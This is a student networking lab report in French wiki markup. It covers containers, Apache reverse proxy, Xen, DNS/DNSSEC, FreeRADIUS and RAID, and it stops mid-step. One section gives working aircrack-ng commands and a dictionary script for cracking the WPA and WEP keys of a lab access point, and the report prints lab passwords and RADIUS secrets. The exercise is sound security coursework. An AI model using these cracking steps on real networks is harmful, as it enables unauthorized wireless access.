   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1500px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
===DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===Cassage de clé WEP===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef012c92&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon&lt;br /&gt;
&lt;br /&gt;
En parallèle, on simule une connexion au point d'accès pour récupérer le handshake : &lt;br /&gt;
 $ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On réalise le cassage : &lt;br /&gt;
 $ aircrack-ng ./path_to_folder/cracotte07.cap&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:cassagewep07.png|600px]]&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :&lt;br /&gt;
  apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
Création du RAID5 :&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
On formate le RAID créé : &lt;br /&gt;
